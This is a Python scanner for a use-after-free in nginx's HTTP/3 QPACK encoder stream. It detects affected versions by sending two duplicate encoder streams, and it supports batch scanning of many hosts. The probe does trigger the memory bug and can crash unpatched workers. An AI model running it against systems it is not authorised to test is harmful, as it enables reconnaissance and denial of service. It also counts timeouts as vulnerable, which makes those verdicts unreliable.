#!/usr/bin/env python3
# Author:   Valton Tahiri
# GitHub:   https://github.com/v4ltonn
# Date:     2026-06-19
# Bug:      CVE-2026-42530 -- nginx HTTP/3 QPACK encoder stream UAF
"""
scanner_CVE-2026-42530.py -- Public scanner for CVE-2026-42530

Detects whether a remote nginx server is running a version affected by
CVE-2026-42530 (QPACK encoder stream Use-After-Free in ngx_http_v3_module).

Affected:  nginx 1.31.0, 1.31.1
Fixed:     nginx 1.31.2 (2026-06-17)
CVSS 4.0:  9.2 CRITICAL

Detection technique
-------------------
RFC 9114 section 6.2 forbids a client from opening more than one QPACK
encoder stream per connection.  Compliant servers (nginx 1.31.2+) MUST
close the connection with H3_STREAM_CREATION_ERROR (0x103) when a second
encoder stream is opened.

nginx 1.31.0-1.31.1 tracks the encoder stream via h3c->known_streams[index],
a raw pointer cleared to NULL when the stream closes.  The probe exploits this
with two sequential encoder streams:

  Stream 6 (encoder #1): type byte 0x02 + QPACK Insert-With-Name-Reference.
    No prior Set-Dynamic-Table-Capacity means dt->capacity == 0, so nginx
    rejects the insert with QPACK_ENCODER_STREAM_ERROR (0x201) and calls
    ngx_http_v3_close_uni_stream() which sets known_streams[encoder] = NULL
    and frees the stream pool.  A deferred connection-close event is posted.

  Stream 10 (encoder #2): identical bytes, sent shortly after.
    When nginx's ACK of stream 6 arrives, aioquic transmits stream 10.
    nginx receives stream 10 BEFORE the deferred close event fires.

  VULNERABLE (1.31.0/1.31.1):
    known_streams[encoder] == NULL (cleared by stream 6's close) ->
    duplicate check passes -> second encoder accepted -> UAF pool write ->
    same QPACK error -> qc->error stays 0x201.

  PATCHED (1.31.2+):
    h3c->created_streams bitmask (never cleared) still has the encoder bit
    set -> H3_STREAM_CREATION_ERROR (0x103) overwrites qc->error before
    the deferred close fires.

Observable difference:
  VULNERABLE  -> CONNECTION_CLOSE with 0x201 (QPACK_ENCODER_STREAM_ERROR)
  PATCHED     -> CONNECTION_CLOSE with 0x103 (H3_STREAM_CREATION_ERROR)

Stream allocation
-----------------
nginx sets initial_max_streams_uni = 3, so aioquic blocks any stream beyond
the third client-initiated unidirectional stream.  To stay within this limit
the probe occupies:
  stream 2  -- H3 control stream (SETTINGS)
  stream 6  -- QPACK encoder #1  (normally the QPACK decoder slot)
  stream 10 -- QPACK encoder #2  (normally the QPACK encoder slot)

No QPACK decoder stream is sent.  nginx does not require one before processing
encoder stream registrations.

Safety note
-----------
The scan does NOT reliably crash an unpatched nginx worker.  Without
AddressSanitizer, the UAF write on a production build usually corrupts a
pool slot benignly and results only in a connection teardown.  However, on
systems with certain allocator layouts the worker CAN crash.  Only scan
hosts you own or are authorised to test.

Usage
-----
  pip install aioquic
  # single host:
  python3 scanner_CVE-2026-42530.py 127.0.0.1 8443

  # multiple hosts from a file (one host:port per line):
  python3 scanner_CVE-2026-42530.py --file hosts.txt

  # concurrency (default 5):
  python3 scanner_CVE-2026-42530.py --file hosts.txt --concurrency 10

  # quiet (print only VULNERABLE results):
  python3 scanner_CVE-2026-42530.py --file hosts.txt -q
"""

import argparse
import asyncio
import ssl
import struct
import sys
import time
from dataclasses import dataclass
from typing import Optional

try:
    from aioquic.asyncio import connect
    from aioquic.asyncio.protocol import QuicConnectionProtocol
    from aioquic.h3.connection import H3_ALPN
    from aioquic.quic.configuration import QuicConfiguration
    from aioquic.quic.events import ConnectionTerminated, QuicEvent
    from aioquic.tls import Epoch
except ImportError:
    print("[!] aioquic not installed.  Run: pip install aioquic")
    sys.exit(1)


# ---------------------------------------------------------------------------
# Wire format helpers
# ---------------------------------------------------------------------------

def varint(n: int) -> bytes:
    if n < 0x40:
        return bytes([n])
    elif n < 0x4000:
        return struct.pack(">H", 0x4000 | n)
    elif n < 0x40000000:
        return struct.pack(">I", 0x80000000 | n)
    else:
        return struct.pack(">Q", 0xC000000000000000 | n)


def h3_frame(frame_type: int, payload: bytes) -> bytes:
    return varint(frame_type) + varint(len(payload)) + payload


def h3_settings_empty() -> bytes:
    return h3_frame(0x04, b"")


# Client-initiated unidirectional stream IDs (type bits = 0b10, so 4n+2):
#   stream 2  -> control stream
#   stream 6  -> repurposed as QPACK encoder #1  (avoids stream-limit block)
#   stream 10 -> QPACK encoder #2
STREAM_CONTROL   = 2
STREAM_ENCODER_1 = 6
STREAM_ENCODER_2 = 10

# QPACK Insert-With-Name-Reference targeting static table entry 0 with
# empty value.  Without a prior Set-Dynamic-Table-Capacity the dynamic
# table capacity is 0; nginx rejects the insert with 0x201 (encoder
# stream error) and closes the uni-stream, clearing known_streams[encoder]
# in 1.31.1 while leaving the created_streams bitmask bit intact in 1.31.2.
QPACK_INR = bytes([0xC0, 0x00])

CONTROL_DATA   = bytes([0x00]) + h3_settings_empty()
ENCODER_1_DATA = bytes([0x02]) + QPACK_INR   # stream type + INR
ENCODER_2_DATA = bytes([0x02]) + QPACK_INR   # stream type + INR

# H3 / QPACK error codes
H3_STREAM_CREATION_ERROR   = 0x103
H3_CLOSED_CRITICAL_STREAM  = 0x104
QPACK_ENCODER_STREAM_ERROR = 0x201


# ---------------------------------------------------------------------------
# Scan result
# ---------------------------------------------------------------------------

@dataclass
class ScanResult:
    host:      str
    port:      int
    status:    str          # "VULNERABLE" | "PATCHED" | "NOT_H3" | "ERROR"
    code:      Optional[int]
    detail:    str
    elapsed_s: float


# ---------------------------------------------------------------------------
# Protocol probe
# ---------------------------------------------------------------------------

class EncoderProbe(QuicConnectionProtocol):

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._done   = asyncio.Event()
        self._code   = None
        self._reason = ""

    def transmit(self) -> None:
        # Suppress any pending QUIC ACK frame so it does not compete with
        # STREAM frames for packet space.  aioquic will still ACK on the
        # next received datagram; this is safe for a short-lived probe.
        self._quic._spaces[Epoch.ONE_RTT].ack_at = None
        super().transmit()

    def quic_event_received(self, event: QuicEvent) -> None:
        if isinstance(event, ConnectionTerminated):
            self._code   = event.error_code
            self._reason = str(event.reason_phrase)
            self._done.set()

    async def probe(self, timeout: float = 8.0) -> tuple[Optional[int], str]:
        # Allow the QUIC handshake to settle.
        await asyncio.sleep(0.2)

        # Send H3 control stream so nginx processes our SETTINGS.
        self._quic.send_stream_data(STREAM_CONTROL, CONTROL_DATA, end_stream=False)
        self.transmit()

        # Wait for nginx to send its own H3 setup frames (control stream,
        # QPACK encoder/decoder streams).  This ensures the connection is
        # fully established before we provoke the duplicate-encoder check.
        await asyncio.sleep(0.4)

        # Send encoder #1 (QPACK error trigger) followed immediately by
        # encoder #2 (duplicate-stream probe).  Stream 6 (encoder #1) is
        # within nginx's initial_max_streams_uni = 3 limit; aioquic
        # transmits encoder #2 (stream 10) when nginx ACKs encoder #1,
        # before the deferred connection-close event fires on nginx's side.
        self._quic.send_stream_data(STREAM_ENCODER_1, ENCODER_1_DATA, end_stream=False)
        self._quic.send_stream_data(STREAM_ENCODER_2, ENCODER_2_DATA, end_stream=False)
        self.transmit()

        try:
            await asyncio.wait_for(self._done.wait(), timeout=timeout)
        except asyncio.TimeoutError:
            return None, "timeout"

        return self._code, self._reason


# ---------------------------------------------------------------------------
# Single-host scan
# ---------------------------------------------------------------------------

async def scan_one(host: str, port: int, timeout: float) -> ScanResult:
    t0 = time.monotonic()

    cfg = QuicConfiguration(
        alpn_protocols=H3_ALPN,
        is_client=True,
        verify_mode=ssl.CERT_NONE,
        max_datagram_size=1350,
    )

    try:
        async with connect(
            host,
            port,
            configuration=cfg,
            create_protocol=EncoderProbe,
            wait_connected=False,
        ) as proto:
            code, reason = await proto.probe(timeout=timeout)
    except ConnectionRefusedError:
        return ScanResult(host, port, "ERROR", None,
                          "connection refused (no UDP listener?)", time.monotonic() - t0)
    except OSError as e:
        return ScanResult(host, port, "NOT_H3", None,
                          f"network error: {e}", time.monotonic() - t0)
    except Exception as e:
        return ScanResult(host, port, "ERROR", None,
                          f"{type(e).__name__}: {e}", time.monotonic() - t0)

    elapsed = time.monotonic() - t0

    if code is None:
        return ScanResult(host, port, "VULNERABLE", code,
                          "timeout -- second encoder accepted silently (non-ASAN build UAF)", elapsed)

    if code == H3_STREAM_CREATION_ERROR:
        return ScanResult(host, port, "PATCHED", code,
                          "0x103 H3_STREAM_CREATION_ERROR -- second encoder rejected", elapsed)

    if code == H3_CLOSED_CRITICAL_STREAM:
        return ScanResult(host, port, "ERROR", code,
                          "0x104 H3_CLOSED_CRITICAL_STREAM -- unexpected", elapsed)

    if code == QPACK_ENCODER_STREAM_ERROR:
        return ScanResult(host, port, "VULNERABLE", code,
                          "0x201 QPACK_ENCODER_STREAM_ERROR -- second encoder accepted, UAF write occurred", elapsed)

    if code == 0:
        return ScanResult(host, port, "VULNERABLE", code,
                          "code 0 -- connection dropped after UAF (possible worker crash)", elapsed)

    # Any other non-0x103 close means the second encoder was not rejected.
    return ScanResult(host, port, "VULNERABLE", code,
                      f"0x{code:x} ({reason!r}) -- second encoder accepted", elapsed)


# ---------------------------------------------------------------------------
# Formatter
# ---------------------------------------------------------------------------

def fmt_result(r: ScanResult, quiet: bool) -> Optional[str]:
    target  = f"{r.host}:{r.port}"
    elapsed = f"{r.elapsed_s:.2f}s"

    if r.status == "VULNERABLE":
        return f"[VULNERABLE]  {target:<30s}  {elapsed}  -- {r.detail}"

    if quiet:
        return None

    if r.status == "PATCHED":
        return f"[patched]     {target:<30s}  {elapsed}  -- {r.detail}"
    if r.status == "NOT_H3":
        return f"[not-h3]      {target:<30s}  {elapsed}  -- {r.detail}"
    return     f"[error]       {target:<30s}  {elapsed}  -- {r.detail}"


# ---------------------------------------------------------------------------
# Batch scan with concurrency limit
# ---------------------------------------------------------------------------

async def scan_batch(
    targets: list[tuple[str, int]],
    concurrency: int,
    timeout: float,
    quiet: bool,
) -> list[ScanResult]:
    sem = asyncio.Semaphore(concurrency)

    async def guarded(host: str, port: int) -> ScanResult:
        async with sem:
            r = await scan_one(host, port, timeout)
            line = fmt_result(r, quiet)
            if line:
                print(line, flush=True)
            return r

    return list(await asyncio.gather(*[guarded(h, p) for h, p in targets]))


# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------

def parse_targets(args: argparse.Namespace) -> list[tuple[str, int]]:
    targets: list[tuple[str, int]] = []

    if args.host:
        targets.append((args.host, args.port))

    if args.file:
        try:
            with open(args.file) as f:
                for lineno, raw in enumerate(f, 1):
                    line = raw.strip()
                    if not line or line.startswith("#"):
                        continue
                    if ":" in line:
                        h, p_str = line.rsplit(":", 1)
                        try:
                            targets.append((h, int(p_str)))
                        except ValueError:
                            print(f"[!] line {lineno}: bad port {p_str!r}, skipping",
                                  file=sys.stderr)
                    else:
                        targets.append((line, 443))
        except OSError as e:
            print(f"[!] cannot open {args.file}: {e}", file=sys.stderr)
            sys.exit(1)

    return targets


async def main() -> None:
    parser = argparse.ArgumentParser(
        description="CVE-2026-42530 scanner -- nginx 1.31.0-1.31.1 QPACK encoder UAF"
    )
    parser.add_argument("host", nargs="?", help="Single target hostname or IP")
    parser.add_argument("port", nargs="?", type=int, default=443,
                        help="Port (default: 443, used only with positional host)")
    parser.add_argument("-f", "--file", metavar="FILE",
                        help="File with targets, one host[:port] per line")
    parser.add_argument("-c", "--concurrency", type=int, default=5,
                        help="Parallel probes (default: 5)")
    parser.add_argument("-t", "--timeout", type=float, default=8.0,
                        help="Per-probe timeout in seconds (default: 8)")
    parser.add_argument("-q", "--quiet", action="store_true",
                        help="Print only VULNERABLE results")
    args = parser.parse_args()

    targets = parse_targets(args)
    if not targets:
        parser.print_help()
        sys.exit(1)

    print(f"CVE-2026-42530 scanner  |  targets: {len(targets)}  "
          f"concurrency: {args.concurrency}  timeout: {args.timeout}s")
    print(f"Probe: H3 control(stream 2) + encoder#1(stream 6) + encoder#2(stream 10)")
    print(f"PATCHED=0x103  VULNERABLE=0x201")
    print()

    t0 = time.monotonic()
    results = await scan_batch(targets, args.concurrency, args.timeout, args.quiet)
    elapsed = time.monotonic() - t0

    vuln  = sum(1 for r in results if r.status == "VULNERABLE")
    patch = sum(1 for r in results if r.status == "PATCHED")
    err   = sum(1 for r in results if r.status in ("ERROR", "NOT_H3"))

    print()
    print(f"Done in {elapsed:.1f}s  --  "
          f"VULNERABLE: {vuln}  patched: {patch}  error/not-h3: {err}")


if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n[*] Interrupted")